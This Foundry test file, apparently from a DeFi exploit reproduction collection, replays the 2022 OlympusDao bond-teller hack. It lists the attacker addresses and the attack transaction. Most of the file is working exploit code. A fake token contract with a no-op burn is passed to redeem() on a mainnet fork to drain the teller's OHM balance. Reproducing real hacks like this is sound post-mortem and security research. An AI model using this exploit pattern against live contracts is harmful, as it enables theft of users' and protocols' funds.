src/test/2022-10/OlympusDao_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~$292K (30,437 OHM)
8// Attacker : 0x443cf223e209e5a2c08114a2501d8f0f9ec7d9be
9// Attack Contract : 0xa29e4fe451ccfa5e7def35188919ad7077a4de8f
10// Vulnerable Contract : 0x007FE7c498A2Cf30971ad8f2cbC36bd14Ac51156
11// Attack Tx : https://etherscan.io/tx/0x3ed75df83d907412af874b7998d911fdf990704da87c2b1a8cf95ca5d21504cf
12 
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0x007FE7c498A2Cf30971ad8f2cbC36bd14Ac51156#code#F1#L137
15 
16// @Analysis
17// Twitter PeckShield : https://twitter.com/peckshield/status/1583416829237526528
18// Article by Shashank : https://blog.solidityscan.com/olympus-dao-hack-analysis-f07d2a64f5ee
19// Article by 0xbanky : https://mirror.xyz/0xbanky.eth/c7G9ZfTB8pzQ5cCMw5UhdFehmR6l0fVqd_B-ZuXz2_o
20 
21address constant OHM = 0x64aa3364F17a4D01c6f1751Fd97C2BD3D7e7f1D5;
22address constant BondFixedExpiryTeller = 0x007FE7c498A2Cf30971ad8f2cbC36bd14Ac51156;
23 
24interface IBondFixedExpiryTeller {
25    function redeem(address token_, uint256 amount_) external;
26}
27 
28contract FakeToken {
29    function underlying() external pure returns (address) {
30        return OHM;
31    }
32 
33    function expiry() external pure returns (uint48 _expiry) {
34        return 1;
35    }
36 
37    function burn(address, uint256) external pure {
38        // do nothing
39    }
40}
41 
42contract AttackContract is Test {
43    function setUp() public {
44        vm.createSelectFork("mainnet", 15_794_363);
45        vm.label(OHM, "OHM");
46        vm.label(BondFixedExpiryTeller, "BondFixedExpiryTeller");
47    }
48 
49    function testExploit() public {
50        console.log("---------- Start from block %s ----------", block.number);
51        emit log_named_decimal_uint("Attacker OHM balance", IERC20(OHM).balanceOf(address(this)), 9);
52 
53        address fakeToken = address(new FakeToken());
54 
55        uint256 ohmBalance = IERC20(OHM).balanceOf(BondFixedExpiryTeller);
56        IBondFixedExpiryTeller(BondFixedExpiryTeller).redeem(fakeToken, ohmBalance);
57        console.log("Redeeming...");
58        emit log_named_decimal_uint("Attacker OHM balance after hack", IERC20(OHM).balanceOf(address(this)), 9);
59    }
60}